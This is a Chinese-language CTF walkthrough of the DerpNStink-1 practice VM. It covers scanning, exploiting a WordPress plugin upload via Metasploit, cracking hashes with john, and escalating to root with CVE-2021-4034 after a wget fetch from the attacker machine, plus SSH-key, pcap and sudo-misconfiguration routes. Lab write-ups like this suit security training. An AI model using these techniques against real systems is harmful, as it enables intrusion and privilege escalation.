DerpNStink-1
DerpNStink-1
目标: attack the VM and find all 4 flags eventually leading you to full root access
妙妙工具: python -c ‘import pty; pty.spawn(“/bin/bash”)’
¶环境配置
kali: 192.168.56.6
ubuntu: 192.168.56.10
¶信息收集
nmap -sS 192.168.56.0/24 |
结合工具以及访问网页, 可以收集一些信息
# 端口: |
直接访问80端口, 可以在网页中搜索找到flag1, 还找到一个/webnotes/info.txt
<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live --> |
WordPress后台有弱密码, 账号密码均为admin
先配置hosts文件, 你问我网址怎么来的, 我说windows登录后得到的, 或者linux访问/weblog/wp-admin
得到的
vim /etc/hosts |
利用漏洞扫描工具进一步扫描(kali自带的wpscan), 利用kali搜索漏洞:
wpscan --url http://derpnstink.local/weblog/ |
¶getshell
use exploit/unix/webapp/wp_slideshowgallery_upload |
继续信息收集:
# 用户 whoami |
lsb_release -a
查看发行版本
find / -perm -u=s -type f 2>/dev/null
查看有suid权限的文件
进入mysql收集信息:
use wordpress |
可以找到最后一列是flag2, 但是没有值, 猜测是另一个账号登录获取flag2
结果在wp_posts
数据库中找到了flag2, 那挺好的
爆破密钥的话可以利用kali的
john
工具, 将要爆破的写进pass.txt进行爆破; rockyou.txt可以去到这个目录下解压rockyou.txt.gz
john pass.txt --wordlist=/usr/share/wordlists/rockyou.txt
# unclestinky/wedgie57 登录wordpress获得flag2
现在只剩下21和22没有试过了, 但是发现登录需要账号密码
获取用户名可以cat /etc/passwd
, 也可以前往/home
查看有谁的配置文件
# 用户: mrderp, stinky |
发现这一套账号密码也可以直接用于
su stinky
主要是我在ftp里面找不到东西
利用su stinky
登录对应账号, 在此权限下进入/home/stinky/Desktop
找到flag.txt, 这是flag3
三个都找到了, 结合靶机描述, 下一步我们应该提权
¶提权
耗时最久的一集
searchsploit ubuntu 14.04, 测试半天没有任何收获 |
遂用搜索引擎寻找新的方法: Ubuntu内核提权-Xe的库
已经测试的: CVE-2017-16995
(45010.c), CVE-2021-3493
(37292.c)
2021这么新都不行, 向后找CVE-2021-4034:Linux Polkit 权限提升漏洞复现以及修复
wget http://192.168.56.6:6789/cve-2021-4034.c |
然后进入/root
, 在Desktop下找到flag4, 圆满完成任务
¶附录
去找了其他大佬的博客, 我们似乎用不同的方法跳过了不少步骤
¶ftp中有公钥文件
在/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh
下有一个key.txt
get key.txt # 下载到本地 |
利用这个密钥可以登录前面找到的两个账户
如果出现 Permissions 0664 for ‘key.txt’ are too open, 就把权限设为400
chmod 400 key.txt # -rwx |
¶ftp中还有聊天文件
/files/network-logs/
下还有derpissues.txt
在这里可以看到通过数据包捕获工具进行问题排查, 那就是排查我们的到的那个数据包
12:06 mrderp: hey i cant login to wordpress anymore. Can you look into it? |
¶strinky的Documents中有流量日志
传递文件:
# kali: |
分析文件, 在http过滤器下找到No.5598数据包(POST, 而且是创建新用户)
wireshark derpissues.pcap |
尝试用这个密码去登录用户, 成功登录
ssh mrderp@192.168.56.10 |
¶mrderp的Desktop下有提权方式
有一个helpdesk.log
, 里面有提示:
这个网址在访问后有一句话:
mrderp ALL=(ALL) /home/mrderp/binaries/derpy* |
也就是允许mrderp用户在主机上以root用户权限读写执行/home/mrderp/binaries/目录下derpy开头的文件
其实
sudo -l
可以显示当前用户在使用sudo命令时的权限和限制, 和上面得到的相同
没有这个目录就去创建这个目录
mkdir binaries |
¶扒拉过来的py提权文件
# !/usr/bin/env python3 |
¶收集笔记
-
ip: 192.168.56.10
-
域名: d erpnstink.local
-
网站信息/路径:
wordpress
/weblog/wp-admin
/php/phpmyadmin
-
账密: ssh/su: mrderp / derpderpderpderpderpderpderp ftp/su: stinky / wedgie57